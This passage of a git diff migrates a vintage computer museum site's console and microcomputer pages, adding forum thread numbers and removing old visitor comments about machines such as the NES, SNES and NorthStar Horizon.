antialiasing and a z-buffer to prevent texture popping that the Playstaion often produced....and it allowed basic dynamic lighting to be used. - - Regardless, it is one of the greatest consoles of all time... - - author: chris - date: Monday 6th February 2012 - text: something i find incredibly interesting, is that now, with every system using discs, and people complaining about loading screens, no one seems to remember that cartridge systems NEVER have loading screens. There is nothing TO load. All the loading is done when you put a cartridge in it. N64 $ greatest system ever. \*\*\*\* off playstation. i never liked you and never will - - author: chris - date: Monday 6th February 2012 - text: something i find incredibly interesting, is that now, with every system using discs, and people complaining about loading screens, no one seems to remember that cartridge systems NEVER have loading screens. There is nothing TO load. All the loading is done when you put a cartridge in it. N64 $ greatest system ever. \*\*\*\* off playstation. i never liked you and never will - - author: John - date: Saturday 1st October 2011 - text: My best freind lil bro had one. OCARINA OF TIME FOR EVAAAAAAA!!!!!!!!!!! Sorry... - - author: Christian - date: Wednesday 14th July 2010 - text: |- - I can see by reading the system''s description that the owners of this site were biased towards Sony by explaining in the most polite way that the system was crap and CD is better. - - Freaking hypocrites. :P - - author: Sami Jo - date: Wednesday 30th April 2008 - text: i have one it still works fine you could buy lots of stuff for it there were games that you could use a microphone for rumble paks and memory cards. - - author: Falco Lombadi - date: Monday 14th April 2008 - text: The most popular N64DD game was the original Animal crossing. - - author: Gregory (Earth) - date: Thursday 17th January 2008 - text: this game originally cost $199.01, plus it has 2 special packs called "basic pac" and "jumper pac" oc_id: 1242 source: url: https://web.archive.org/web/20230608161857/http://www.old-computers.com/museum/computer.asp?c=1242 diff --git a/content/museum/nintendo-family-computer-keyboard.md b/content/museum/nintendo-family-computer-keyboard.md index dc370814..ab222c00 100644 --- a/content/museum/nintendo-family-computer-keyboard.md +++ b/content/museum/nintendo-family-computer-keyboard.md @@ -55,6 +55,7 @@ params: - hardware - software - links + forum_thread: 511 photos: - title: FAMILY COMPUTER subtitle: '' @@ -119,19 +120,6 @@ params: - title: TRS's NES Archive url: http://www.atarihq.com/tsr/other/ text: This excellent site has some adverts of the keyboard - comments: - - author: James (Ireland) - date: Saturday 30th May 2020 - text: |- - The FAMILY BASIC ROM was actually created by the creators of the BOMBERMAN games HudsonSoft since most of the cartridges code was created by them. - - Along with that FAMILY BASIC was quite unique compared to other versions since NES sprites are already preloaded in ROM Where as in other versions of basic you would be required to create a sprite by using machine code - - author: Robert (usa) - date: Friday 17th October 2014 - text: also the data recore could be used as a standard tape player/ recorder and has a built in mic it runs off of 4 aa batteries or a 6V Adapter - - author: Robert (usa) - date: Friday 17th October 2014 - text: i acutally own one of these in my game console collection and yes there was a tape recoreder avallable for it called the famicom data recorder which allowed you to save your basic programs or save games that have an edit mode like lode runner etc oc_id: 517 source: url: https://web.archive.org/web/20230528095538/http://www.old-computers.com/museum/computer.asp?c=517 diff --git a/content/museum/nintendo-nes.md b/content/museum/nintendo-nes.md index 0ab773e1..23744bcd 100644 --- a/content/museum/nintendo-nes.md +++ b/content/museum/nintendo-nes.md @@ -13,6 +13,7 @@ params: - emulators - links - videos + forum_thread: 847 photos: - title: DEMONSTRATION UNIT subtitle: '' @@ -109,63 +110,6 @@ params: - title: First NES commercial url: https://www.youtube.com/watch?v=l6pW2IYOivA text: 'Length: 31s' - comments: - - author: Bartimeus (USA,North America,Earth, Milky Way Galaxy, The Universe) - date: Thursday 13rd April 2017 - text: I am an Avid Retro game collector as besides my Atari 2600 This is my all-time favorite system! - - author: Thomas (United States) - date: Wednesday 6th July 2016 - text: I had NES. - - author: Issac - date: Saturday 1st October 2011 - text: I want one of these so bad. If your afraid of buying a junky NES, i''ll point out theres YOBO CLONE NES on 80stees.com - - author: Chulang Searles (Barbados) - date: Saturday 11th September 2010 - text: Nintendo 8 bit had dominate the market and it killed Atari with they own licence game, Tetus, the game Atari licience Nintendo. It remain a market leader until Saga brought out It Genesis(Mega drive in the UK). Now it''s in the lead with with Wii - - author: Wally (US) - date: Wednesday 26th May 2010 - text: |- - Since it wouldn''t let me add some info on the emulator page, I would like to point out an emulator not listed on this site. It is called NESTOPIA and it lives up to its name. Probably the most compatible NES Emulator for windows and certainly the most accurate in timing. - - http://nestopia.sourceforge.net/ - - author: bluekatt (netherlands) - date: Sunday 17th September 2006 - text: |- - the nes or famicom had a ricoh8 bit custom 6502 derivative cpu and restrictive dma on die\ - the famicom had the longest production life of any console ever to this day\ - from 1983 to 2004 in japan\ - it shifted 60 million units in its life time - - author: chuton (USA) - date: Friday 2nd June 2006 - text: |- - I've played the system since 5 years old. I have 2 of the systems and one of the newer top loader systems (which is very rare BTW) I've gotten them all for free over the years. - - I also have an SNES but have never played it. - - author: Interested (bristol ,uk) - date: Friday 6th May 2005 - text: I have the first nintendo with games all boxed does any one have a clue about the value? - - author: frask (Neptune) - date: Friday 8th April 2005 - text: My favorite Nintendo games were Duck Hunt and of course, Zelda - - author: qwerty (earth) - date: Friday 25th March 2005 - text: |- - Hey Dan, we live on the same planet!!!\ - It's a small universe, isin't it?\ - well, I have my own NES and have loads of fun with it. It's by far one of the best of the gameing systems I know. what else can I say? - - qwerty - - author: Richard (Rio Rancho, New Mexico) - date: Thursday 30th December 2004 - text: Old gamer or new gamer, you gotta love this machine. This is what turned me into a technophile freak at the nice age of four. - - author: Mike (florida) - date: Sunday 15th June 2003 - text: |- - Mike Tyson's Punchout is the best game ever. - - I spent countless hours fighting Soda Popinski and Super Mach Man. - - How many time have i heard "Mac" giving Little Joe inspiration to get the job done oc_id: 866 source: url: https://web.archive.org/web/20230328055320/http://www.old-computers.com/museum/computer.asp?c=866 diff --git a/content/museum/nintendo-racing-112-model-ctg-cr112.md b/content/museum/nintendo-racing-112-model-ctg-cr112.md index f0e4737e..f6329d1f 100644 --- a/content/museum/nintendo-racing-112-model-ctg-cr112.md +++ b/content/museum/nintendo-racing-112-model-ctg-cr112.md @@ -44,6 +44,7 @@ params: - photos - adverts - software + forum_thread: 728 photos: - title: RACING 112 subtitle: '' @@ -83,10 +84,6 @@ params: subtitle: Two players game text: '' image: /media/museum/software/nintendo_racing112_ss_2.jpg - comments: - - author: Silvergunner (UK) - date: Tuesday 22nd February 2005 - text: Not really any infomation ABOUT the system... I just wanted to say that on Wario Ware (Original Version) there is a version of this on. You're only playing it for 3 seconds, like... oc_id: 745 source: url: https://web.archive.org/web/20230613152926/http://www.old-computers.com/museum/computer.asp?c=745 diff --git a/content/museum/nintendo-super-famicom.md b/content/museum/nintendo-super-famicom.md index 927aab1c..33517f04 100644 --- a/content/museum/nintendo-super-famicom.md +++ b/content/museum/nintendo-super-famicom.md @@ -62,6 +62,7 @@ params: - photos - emulators - links + forum_thread: 1215 photos: - title: BOX subtitle: '' diff --git a/content/museum/nintendo-super-nintendo-entertainment-system-2.md b/content/museum/nintendo-super-nintendo-entertainment-system-2.md index 6d9b6bb9..12963c18 100644 --- a/content/museum/nintendo-super-nintendo-entertainment-system-2.md +++ b/content/museum/nintendo-super-nintendo-entertainment-system-2.md @@ -61,6 +61,7 @@ params: tabs: - emulators - links + forum_thread: 1216 emulators: - title: Snes9x url: http://www.snes9x.com/ @@ -74,10 +75,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: TylerE (Pennsylvania US) - date: Monday 10th December 2012 - text: From what I heard, even if you did have AV cables on the SNES 2, you still wouldn''t get the same quality video as in the first SNES. This would have been due to Nintendo not using the Sony chips anymore and instead using a cheaper one. honestly for quality, Model one is the way to go. related: - /museum/nintendo-super-famicom - /museum/nintendo-super-nintendo-entertainment-system diff --git a/content/museum/nintendo-super-nintendo-entertainment-system.md b/content/museum/nintendo-super-nintendo-entertainment-system.md index 9d1168d3..2757e67a 100644 --- a/content/museum/nintendo-super-nintendo-entertainment-system.md +++ b/content/museum/nintendo-super-nintendo-entertainment-system.md @@ -14,6 +14,7 @@ params: - emulators - links - videos + forum_thread: 1193 photos: - title: US MODEL subtitle: '' @@ -126,64 +127,6 @@ params: - title: Super Mario All Star - US TV commercial url: https://www.youtube.com/watch?v=H5M9kHSZVgI text: 'Length: 29 s' - comments: - - author: Frank (Canada) - date: Wednesday 16th February 2022 - text: Wasn''t the N64 that Nintendo had a deal with Philips? Sounds really early 1991 for CD-Rom as it wasn''t even surpassing cassette sales yet as a music format. - - author: Rob - date: Wednesday 18th March 2015 - text: there is another version released in the us only difference it didn''t have the eject button - - author: TylerE (Pennsylvania US) - date: Monday 10th December 2012 - text: Acctually Kyle, I heard that most games from the SNES were programmed on an Apple $$GS. Its amazing just how things from two different worlds can be so similar. - - author: Kyle Count (New Hampshire, USA) - date: Sunday 14th October 2012 - text: Actually, the SNES was very close in specs to the Apple IIgs. In fact, when you read the credits for Wolfenstein 3D for the SNES, it actually says "Programmed on an Apple IIgs". Interesting... - - author: Raindance Rob (UK) - date: Saturday 31st July 2010 - text: these were actually on sale alot longer then 97 i remember seeing them on sale as recent as 2001 in Florida $ they were still on sale in San Diego too. - - author: altXerror (Sarnia, ON. Canada) - date: Sunday 2nd May 2010 - text: |- - here is what i know about the console: - - 1\. Strangely, if you have a N64 or Gamecube AV cable, you can use it on a SNES and it will work. - - The RF box From the NES will also work for the SNES - - The SNES had only one Unlicensed game released: Super Noah''s Ark 3d, which was published by wisdom tree in 1993. This game is direct clone of Wolfenstien, where you shoot goats with food to knock them out. The game used the same technology in the Game Genie and Action Replay Pro, to bypass the lockout Chip on system (essential connect a lichened game, Such as Super Mario World to it and the game will work) - - What Art Bielski is talking about, is an add on to the system call: Nes game Module. it would use the SNES CD-Rom add-on (the system need to have files to recognize the Nes Roms) and a cartridge port thing (i can''t explain it too well. since the SNES CD was Scrapped, So was the add-on, Only having 50 known prototypes made. I saw one on E-bay once, they were asking for about $5999.99 for it. - - author: bluekatt (netherlands) - date: Sunday 1st April 2007 - text: |- - and a few correction the clock speed is 2.68 and 3.58\ - switching between slow and fast rom\ - the snes wa spulled out of production in 1999\ - frogger was released in 1998\ - the last first party game was kirby's dream land 3 in 1997 - - author: bluekatt (netherlands) - date: Saturday 31st March 2007 - text: |- - The Snes shifted 49 million units in its life time. Against sega's effort of 35 million Megadrive\\Genesis units. Its cpu is a wdc 65c816 derivative clocked at 3.58 usually. It could be downclocked to 1.79 mhz.\ - Some of the games had dedicated chips mounted on their pcb. ( Reflecting in the price. ) The most wel known of these is the superfx chip. A risc chip which ran at 10 mhz and helped the snes push out some impressive polygons for the time. In the games Starfox Vector and Stunt race fx. It was also used in the snes version of Doom.\ - The machine was unable to produce more then 2 back ground planes but it was much stronger in scrolling and rotating sprites and planes then the genesis was. It also introduced rounded controllers six buttons and shoulder buttons. - - The japanese and european version are externally the same the cardridge shape si slightly different and even if it wasnt the games could not run anyway. The pal version was 17 % slower.\ - In the end the snes did so wel because sgea dropped all support for their line up in favor of the saturn in 1995. Nintendo on the other hand kept supporting the snes till it was well and truly dead and the N64 had been established. - - The first game was supermario world in 1990\ - the last game was frogger in 1997\ - this classic system is rightfully still very wanted - - author: Nate Arnold (Ohio, US) - date: Tuesday 27th March 2007 - text: |- - It was a rumor, but, there is an actual system that is a hybrid CLONE of SNES/NES called FC Twin, it has 2 different slots and 2 different circuitries (one for the NES and the other for the SNES) check this website\ - http://www.keepgaming.com/retro/M04094.htm?gclid=CJSIlt3NlYsCFR6AWAodwl6LUw\ - I saw one in my local gaming shop and it was $70 New. - - author: Art Bielski (Earth) - date: Monday 26th March 2007 - text: This console was also rumored to have a backwards compatible NES adaptor that was never released. This strengthened sales near the end of it's production life. related: - /museum/nintendo-super-famicom - /museum/nintendo-super-nintendo-entertainment-system-2 diff --git a/content/museum/nintendo-tv-game-6-model-ctg-6v.md b/content/museum/nintendo-tv-game-6-model-ctg-6v.md index e735bec4..eae96bd2 100644 --- a/content/museum/nintendo-tv-game-6-model-ctg-6v.md +++ b/content/museum/nintendo-tv-game-6-model-ctg-6v.md @@ -48,6 +48,7 @@ params: value: Unknown tabs: - photos + forum_thread: 959 photos: - title: TV-GAME 6 subtitle: '' @@ -81,13 +82,6 @@ params: subtitle: '' text: Thanks to [www.retrogames.co.uk](http://www.retrogames.co.uk) for this picture. image: /media/museum/photos/nintendo_tv-game-6_box.jpg - comments: - - author: Bartimaus (U.S.A.) - date: Thursday 2nd February 2017 - text: Was this only released in Japan or was it released in America also? - - author: loodo848 - date: Sunday 4th March 2012 - text: Ive lost this video game D$ oc_id: 985 source: url: https://web.archive.org/web/20230207184858/http://www.old-computers.com/museum/computer.asp?c=985 diff --git a/content/museum/nixdorf-pc-05.md b/content/museum/nixdorf-pc-05.md index ff7a09ef..73a1c8b7 100644 --- a/content/museum/nixdorf-pc-05.md +++ b/content/museum/nixdorf-pc-05.md @@ -60,6 +60,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1115 photos: - title: NIXDORF PC 05 subtitle: '' diff --git a/content/museum/nokia-mikro-mikko-1.md b/content/museum/nokia-mikro-mikko-1.md index b24b9f04..e7d8aa60 100644 --- a/content/museum/nokia-mikro-mikko-1.md +++ b/content/museum/nokia-mikro-mikko-1.md @@ -67,6 +67,7 @@ params: - photos - software - links + forum_thread: 617 photos: - title: KEYBOARD subtitle: '' @@ -100,15 +101,6 @@ params: - title: Mika's Homepage url: http://www.iki.fi/oju/ text: All our info come from that site. Great pictures! - comments: - - author: Simon Finno (Finland) - date: Saturday 18th January 2020 - text: |- - Nokia Mikromikko 1 was released in 1981. The webpage shows 1984.\ - Wikipedia:\ - MikroMikko 1, was released on 29 September 1981,$1$ 48 days after IBM introduced its Personal Computer. - - In 1983 was introduded Mikromikko 2. oc_id: 630 source: url: https://web.archive.org/web/20230608161312/http://www.old-computers.com/museum/computer.asp?c=630 diff --git a/content/museum/normerel-oplite.md b/content/museum/normerel-oplite.md index bf56e770..3456fd47 100644 --- a/content/museum/normerel-oplite.md +++ b/content/museum/normerel-oplite.md @@ -67,6 +67,7 @@ params: value: 26 590 F HT (France, may 1985) (approx. 4800 ) tabs: - photos + forum_thread: 1097 photos: - title: LARGE VIEW subtitle: '' @@ -108,10 +109,6 @@ params: **(7)** 2 KB character generator chip\ **(8)** Dual double-sided, single density 360 KB mitsubishi floppy drives. image: /media/museum/photos/normerel_oplite_inside_s1.jpg - comments: - - author: Grosminet750 (France) - date: Wednesday 14th March 2007 - text: In a desperate attempt to find new markets, Normerel started a line of TVs - I remember seeing them at a computer show but never in any shop... oc_id: 1127 source: url: https://web.archive.org/web/20230129160951/http://www.old-computers.com/museum/computer.asp?c=1127 diff --git a/content/museum/northstar-advantage.md b/content/museum/northstar-advantage.md index f4030904..f59df3d0 100644 --- a/content/museum/northstar-advantage.md +++ b/content/museum/northstar-advantage.md @@ -66,6 +66,7 @@ params: - photos - adverts - hardware + forum_thread: 637 photos: - title: SIDE VIEW subtitle: '' @@ -155,48 +156,6 @@ params: subtitle: '' text: This card is based on the AMD 8251 serial chip. image: /media/museum/hardware/northstar_advantage_serialcard_1.jpg - comments: - - author: Pierre Frigon (Canada) - date: Sunday 7th June 2020 - text: I still have a functioning Northstar Advantage I use to compute on in the 1980''s... to give away or sell, if interested. Comes with fer 5.25 floppy disks... I guess I''m not enjoying it if its stored for decades... Who wants it ? Montreal Canada 514-827-1676 - - author: Ian Mak (London, UK) - date: Monday 29th May 2017 - text: |- - I have just picked up a Northstar Advantage, with quite a lot of software and manuals. However, the floppy does not read and the screen died on me after 20 minutes. - - I would like to purchase a system off anyone who is offering and am prepared to pay a reasonable price, including shipping etc. - - Please contact me. Thanks! - - author: Pamela Jacobson (94501) - date: Tuesday 22nd November 2016 - text: I also have an original Advantage, that I used at work for NorthStar in the 80''s until they went under. If anyone is interested, it too is for sale. I have all the manuals, floppy disks, and it still runs very well! - - author: ian Butler (USA) - date: Monday 16th June 2014 - text: In the past few years this appeared in Old Spice''s MANta Claus commercials on YouTube, with the badge covered and fake screen overlays. It seems to have escaped notice, but pretty cool to see it on the small screen anyhow! - - author: Andrew Reid (Australia) - date: Wednesday 16th April 2014 - text: I may have some old Creative computing NorthStar Horizon information if any body is interested $$ Also has any body got an electronic copy of the program "What''s IT" - - author: John Lynn (USA) - date: Monday 2nd December 2013 - text: I still have a Northstar Advantage. It was purchased new in 1981 and was used in our business. Later on it was used by my children for high school and college. I have all the original diskettes including Wordstar and CPM. If someone is intested I will sell it for the right price. - - author: Ken Adler (USA) - date: Tuesday 22nd January 2013 - text: 'Bought one in 1982 for law practice. Upgraded to MS-DOS version in ''''83. A son developed a macro program that patched into Wordstar and made it a joy to use. Sold a small number: 80 macros to both eliminate keystrokes and to emulate complex functions that existed on the dedicated word processors of the day. Great keyboard with lots of return codes to place macros on. Program name was PhraseStar for CP/M and for MS-DOS, various 8-bit machines and PC''''s.' - - author: W.K. - date: Thursday 11th November 2010 - text: Used these at college in 82/83...ran Dbase 2! - - author: Anonymous Tech (USA) - date: Saturday 6th November 2010 - text: A Northstar Advantage played the role of a fictional "Phalanx XR-12" computer for the NBC TV show ''Chuck'' in the Nov 1, 2010 episode "Chuck Versus The First Fight". The "Phalanx XR-12" uses triangle-shaped discs! $-) - - author: Chris (Edinburgh, Scotland) - date: Wednesday 23rd April 2008 - text: One appeared in the BBC show "Making the Most of the Micro" - I'm watching an old copy now. It was running some kind of database program to illustrate how they could be used on Micros with Ian MacNaught-Davies. - - author: Felix (Spain) - date: Monday 18th September 2006 - text: I have one. I got it twenty years ago. It was wonderfull for me (twenty years ago). I made software in Z80 machine code with this computer. Now I still have it in my old thins store and it is plenty of dust. How many useful scrap are there in our personal stores? Somebody can make somethin with all this old computers? - - author: Joey Swails (USA) - date: Thursday 24th February 2005 - text: I used an Advantage in a music retail store in 1983 as a database system (dBase for C/PM, as I recall) and wrote a simple point-of-sales application in CBASIC for it. It ran the compiled BASIC program blazingly fast compared to running interpreted BASIC on an Apple \]\[ (my personal computer at the time) and taught me the value of structured programming! My dream was to create a networked POS-DB system for the store but the owner never financed the plan. I had a short career being a NorthStar consultant for two other businesses whom had bought them, just by virtue of having used one, before being hired away by a start-up software company, and I never saw a NorthStar again. It was a bulletproof machine with a very nice keyboard, but I agree with N.T. French regarding the disk drive problems -- the machine had to be recalibrated by NorthStar - twice. oc_id: 652 source: url: https://web.archive.org/web/20230416215953/http://www.old-computers.com/museum/computer.asp?c=652 diff --git a/content/museum/northstar-horizon.md b/content/museum/northstar-horizon.md index a0c06ba9..03b53de4 100644 --- a/content/museum/northstar-horizon.md +++ b/content/museum/northstar-horizon.md @@ -72,6 +72,7 @@ params: tabs: - photos - adverts + forum_thread: 66 photos: - title: UNCOVERED SYSTEM subtitle: '' @@ -166,85 +167,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/northstar_horizon_ad1.jpg - comments: - - author: George Worley (USA ) - date: Friday 27th November 2020 - text: I owned a Northstar Horizon back in the late 1970s. I don''t remember TurboDOS being available for it. I had 3 different OSes NSDOS, CP/M, and MP/M. I also had two 10MB hard drives that I have seen no reference to anywhere as I only see 5MB listed.. It was one of the first computers to offer any type of Hard Drive. Used it to run a BBS for 10 years. - - author: Brad (US) - date: Tuesday 10th December 2019 - text: North Star S-100 boards. I have several. Email me please bt89162@gmail.com - - author: Brad (US) - date: Tuesday 10th December 2019 - text: I got about a dozen or so North Star boards. I want to sell them and I can’t find them anywhere online accept a person out of country. Can anyone direct me where to sell them and what I should ask? I’m not trying to get rich, I just want to be treated fare. I’m - - author: TransParent (CT/USA) - date: Wednesday 17th January 2018 - text: My first job out of college in 1981 was in the Environmental Hygiene Laboratory at Olin Corporation in New Haven, CT. There was a Northstar Horizon PC with a Hazeltine terminal (monitor and keyboard in one unit). It also had an acoustically coupled modem for dial-up connections. In addition, there was a daisy wheel printer (I do not remember the brand) connected to it. The Industrial Hygenists in our department would use that setup for word processing. I used it for connecting to the mainframe to edit COBOL programs (even though I was a chemist in the lab, I had taken courses in college for BASIC, Fortran 77 and assembly language). - - author: Mark A. Forte (Virginia) - date: Saturday 22nd June 2013 - text: I had a computer store named Computer Junction and was a Northstar dealer. I still have a Northstar Horizon with 5 MB hard disk in its original box. The system also employed a Soroc terminal and I have one of those too. We sold word processors based on a Vector Graphic S100 bus computer combined with a graphics card and video monitor. The system used a Diablo printer and sold for $9000. - - author: Anonomous (Owatonna, Minnesota, USA 55060) - date: Thursday 28th March 2013 - text: |- - Hello,\ - I''m not sure if you are aware of this but a computer shop located in Owatonna, Minnesota is doing business under the name "North Star Computers". It is owned by a gentleman named Eric (not sure of his last name) but they are located at 707 North Elm Ave, Owatonna MN 55060. 507-413-5250 is their listed phone number, eric@northstarcomputersmn.com is their email and their website can be viewed at http://www.northstarcomputersmn.com\ - I know how hard it is to build a business not to mention someone taking your business name. Just thought I''d let you know in the event you want to look into it. - - Best Regards.\ - Anonymous Sender - - author: Jim Watt (Gibraltar) - date: Tuesday 5th June 2012 - text: We sold Northstar computers for a number of years, starting with the CP/M models and ending up with the TurboDos systems which supported eight users and a 30Mb internal 5 1/4 Rodime HD with our own power supply card. The software we developed in compiled Mbasic was ported onto PC''s and we had a Northstar that sent and received telex''s and read paper tape. We had a BBS running on another. In the late nineties I repaired a memory board for an Italian university that still used one on a science application. Great machines. - - author: George Worley (Kentucky, USA) - date: Thursday 9th June 2011 - text: |- - I was going through my closet yesterday and found that I had a box of the floppies for the Northstar Horizon that I owned from late 1978 until it gave up the ghost in 1996. Most every where I look not much is mentioned about hard drives for this computer. I had two 10 megabyte hard drives $ not bootable $ hooked to this machine and at the time thought that I would never use up the space (now have a TB of music and thought that I never use a TB.) I also was running MP/M (multi-user version of CP/M $ got in late 1979) as the OS and I haven''t seen any mention of only any of the sites... had it is setup of 2 users. One of my favorite computers of the era. - - George - - author: Ron Magazzu (New Jersey, USA) - date: Tuesday 30th November 2010 - text: Still have my first North Star Horizon (1978). I wrote a medical office application and several games for this fine computer (with its great Basic language). I never sold the medical office package (still available), but my war games were successful for a couple years or so. The Horizon was my second college education which helped my launch a software company in the 1980''s which is still serving many customers, nationwide, in 2010. Thanks, North Star! - - author: Brian Holmes (USA) - date: Monday 4th January 2010 - text: I bought my first of 5 Horizons in 1979, it was serial $ 0004 - - author: Steve Brozosky (California) - date: Wednesday 14th March 2007 - text: Brings back memories. Our high school had Horizons with Westminster Basic where we had 4 users to a computer (48K RAM, 1 floppy 60K drive). We had Flashwriter video cards where our teacher modified the driver so we had 2 users per monitor with split screen to save money. I took old vacuum tube televisions and converted them to computer monitors so we could save more money. I then built my own Horizon in 1979 form a kit and I still have this (56K RAM, Flashwriter, 3 floppy drives) and I still have my Anadex dot-matrix printer. In 1980 I got a job at Northstar in the support department. Talk about a great learning experience as an 18 year old. I helped people on the phone who built computers from kits and helped debug over the phone, diagnosed memory problems, other hardware issues, DOS, Pascal, CP/M. It was a lot of fun but a lot of work. - - author: Dave Yates (Queensland, Australia) - date: Wednesday 21st February 2007 - text: |- - In 1977/8 I bought the first of four Horizons for use in our University department. The first one I interfaced to a Solartron Datalogger and ran them from a generator in the back of a 4WD vehicle to monitor meteorological parameters in sand dunes on a coastal island. It didn't like getting hot, but other wise was a great machine. - - The other Horizons were used for lab data processing, teaching and for office word-processing. - - author: Jim Watt (Gibraltar) - date: Sunday 14th January 2007 - text: We sold Horizons in Gibraltar, including the multi-user turbodos systems, which were excellent and had a 30Mb five inch disk. Our software was written in MSBasic and converted onto PC's without changing anything. - - author: Paul D (UK) - date: Wednesday 30th August 2006 - text: I did my final engineering degree project at Cardiff University on a NorthStar Horizon in Z80 assembler, the project wasn't finished but i managed to get a degree out of it! Probably the first program i ever wrote that wasn't copied from a magazine or book. - - author: Robert Swenson (Amsterdam, New York USA) - date: Saturday 18th June 2005 - text: I still have my North Star Horizon with 4 floppy disks, 32K of memory, and a 300 baud modem. I remember writing a basic program to do a sort of the dictionary, while my wife typed it in. I then wrote a program to do crossword puzzles with the sorted dictionary. We won enough money in contests to pay for the machine! It is almost like my first child. - - author: Daniel Freeman (Brisbane, Australia) - date: Thursday 2nd June 2005 - text: That was the machine! I couldn't remember it's name, and now it all comes flooding back. I attended Dane Court Technical-high/Grammar school in Broadstairs, Kent, UK. They had one of these running something called Smoke Signal Basic. I wasn't impressed by the capabilities of this machine at the time. - - author: David Noell (Dallas Texas) - date: Wednesday 26th May 2004 - text: I still use a Horizon to control 40 HVAC units on the roof of my office building. It operates a schedule for each unit, with capability for the tenant to phone the box for extra run time that is billed to him later. It has been operating since 1988. I am looking for a program to strip the rem statements from my program. Now May, 2004. - - author: Colin Haxell (East London/Essex UK) - date: Friday 30th January 2004 - text: I worked for a UK reseller. We also had a version in a steel case. We had our own CP/M and MP/M Integrated Ledger Package. We sold this in a package that included a Haeltine Monitor, a TI 810 printer, and an incredibly kitsch white plastic desk that held all the kit in place ! - - author: Wayne Kaniewski (USA) - date: Thursday 25th September 2003 - text: I ran my medical practice for 3 years using a NorthStar Horizon which was state-of-the-art at the time, with a 64 kb RAM board and a 10 mb hard drive. My end-of-month billing routines took 16 hours to run with this machine (I still have 2 of them) and dBaseII. When I converted to an IBM 386 running FoxBase, the same routines ran in 7 minutes ! - - author: Chris Russell (Yarmouth, Maine USA) - date: Wednesday 23rd July 2003 - text: My dad brought home a Northstar Horizon in 1977 and I first learned how to program using the ROM-based BASIC included with the system. If I recall correctly, we were using CP/M from Lifeboat Associates as an OS. This was a great computer. Too bad nobody builds ATX form-factor cases manufactured with speaker cabinet grade walnut and brush metal detailing. - - author: Adam Grow (Atlanta, GA) - date: Monday 14th April 2003 - text: I still have a working Northstar Horizon II. Running D/R CP/M O/S. Hooked to a Visual 300 CRT. Still runs dBaseII (Aston Tate). Long Live the dot prompt! Also have Wordstar, Multiplan, Microsoft BASCOM, and several vintage CP/M apps. We used to use these platforms at a satellite earth station to reformat streaming text based input into World Standard Teletext for placement in the Vertcal Blanking Interval of WTBS. One of the earliest uses was placing a stremaing Usenet feed onto one of the WTBS VBI lines for decoding by anyone receiving WTBS via cable throughout the US. This was around 1982...I think there were about 350 TCP/IP nodes in use then on the internet. Popular electronics had an article on how to build a decoder. Zenith actually marketed a line of TV sets with built-in decoders. - - author: Yves Mc Donald (Ste-Therese, Quebec, Canada) - date: Thursday 29th August 2002 - text: 'That computer introduced me to computer science when I was a teenager. Uncle Ray was building one in his kitchen along with other interesting machines such as COSMAC ELF and an Apple 2 clone. I had hands-on experinece with CP/M (note for young computer geeks: CP/M is MS-DOS ancestor), BASIC and Wordstar on that wooden box. It was a great time where computers were available in kits and we knew down to the chips what was going on inside but for customer support, you''d better ask your friends :)' oc_id: 50 source: url: https://web.archive.org/web/20230608224442/http://www.old-computers.com/museum/computer.asp?c=50 diff --git a/content/museum/novoton-tj-141.md b/content/museum/novoton-tj-141.md index 7297f21c..f0106076 100644 --- a/content/museum/novoton-tj-141.md +++ b/content/museum/novoton-tj-141.md @@ -50,6 +50,7 @@ params: - photos - emulators - links + forum_thread: 846 photos: - title: TJ-141 subtitle: '' diff --git a/content/museum/novoton-video-sports.md b/content/museum/novoton-video-sports.md index c4191455..8579172e 100644 --- a/content/museum/novoton-video-sports.md +++ b/content/museum/novoton-video-sports.md @@ -11,6 +11,7 @@ params: - photos - emulators - links + forum_thread: 678 photos: - title: INSIDE subtitle: '' diff --git a/content/museum/ohio-scientific-c2.md b/content/museum/ohio-scientific-c2.md index 1aab8657..1c1933df 100644 --- a/content/museum/ohio-scientific-c2.md +++ b/content/museum/ohio-scientific-c2.md @@ -54,6 +54,7 @@ params: value: Unknown tabs: - photos + forum_thread: 820 photos: - title: KEYBOARD subtitle: '' @@ -74,58 +75,6 @@ params: subtitle: '' text: General menu of the demonstration disk delivered with the operating system. image: /media/museum/photos/ohioscient_c2_samplescreen_1.jpg - comments: - - author: Ed Miska (USA) - date: Friday 15th August 2014 - text: |- - I have a lot of info on OSI as I was selling them back in 1979-1980. I even still have a Challenger C3 without hard drive and a 19" rack supplied by OSI. I would be happy to help with anyone looking for details of the time. - - I now regret dumping my Okidata 22 line printer, only two years ago. It still worked but had trouble with PC parallel port interface. The trouble was that the standard PC was sending something that woudl do a page eject about every two lines. This is an era before the laser printer. The paper was wide 15"(i think) tractor feed fanfold computer paper. A page eject on the Oki22 was very fast, about two seconds. (I was never able to find a PC driver for the printer.) - - author: Simon Favre (USA) - date: Wednesday 12th September 2012 - text: I still have a C2-OEM. I have a Televideo terminal and a NEC Spinwriter printer for it. The C2-OEM I have is in a single case with dual 8" floppies. I have added memory and a printer card. I still have the OS 65D Tutorial and OS manual, and I may even have the full schematics. Have not started it up for years. In 2000, I took it to a vintage computer fair and ran Adventure on it. I would have to take it out of the attic to do an inventory of the cards. - - author: Jim Cummins (USA) - date: Friday 18th December 2009 - text: |- - This was my first serious computer (I started with TRS-80) which I bought in Boston in 1980 or 1981 (I think). I did a lot of work with this guy and even earned a living with it here on the downeast coast of Maine for several years. - - It is a C2-OEM with 1 6502 cpu, 2 8" disk drives, and a serial port for a terminal (Hazeltine model ??, long gone) and a long parallel cable for my old Centronics tractor feed(also long gone). - - author: William Lucas (USA) - date: Tuesday 12th May 2009 - text: |- - I purchased and used an Ohio Scientific in 1978 for personal and business purposes. Here is a partial list: - - C8P DF GT\ - Microprocessor - 6502C 4Mhz. (GT option)\ - Ram - 48k 150ns. (GT Option)\ - Disk - 2- 8" floppies each 170k\ - I/O Video Board 64 x 32 Colors\ - 1-RS232 Port (Software addressable to 2 connectors) Sound Output Home Security Interface BSR Remote control Hi Speed DAC C8P-DF-48k\ - 2 Joystick Inputs GT Option - - Expansion Serial RS232 Board CS-10-2\ - 48 Line Parallel I/O CA-21\ - D/A, A/D CA-22\ - 16 Channel input multiplex to one A/D\ - 2 D/A\ - 6 TTL Input\ - 2 TTL Output - - Serial Terminal AC-07C\ - Haziltine 1420\ - Total Price $7,815.00 - - Lots of software.\ - OS-65D V3.2, OS-65U V1.2, HC-1, HC-2,Graphics 1, Plot Basic, DAC1,PD 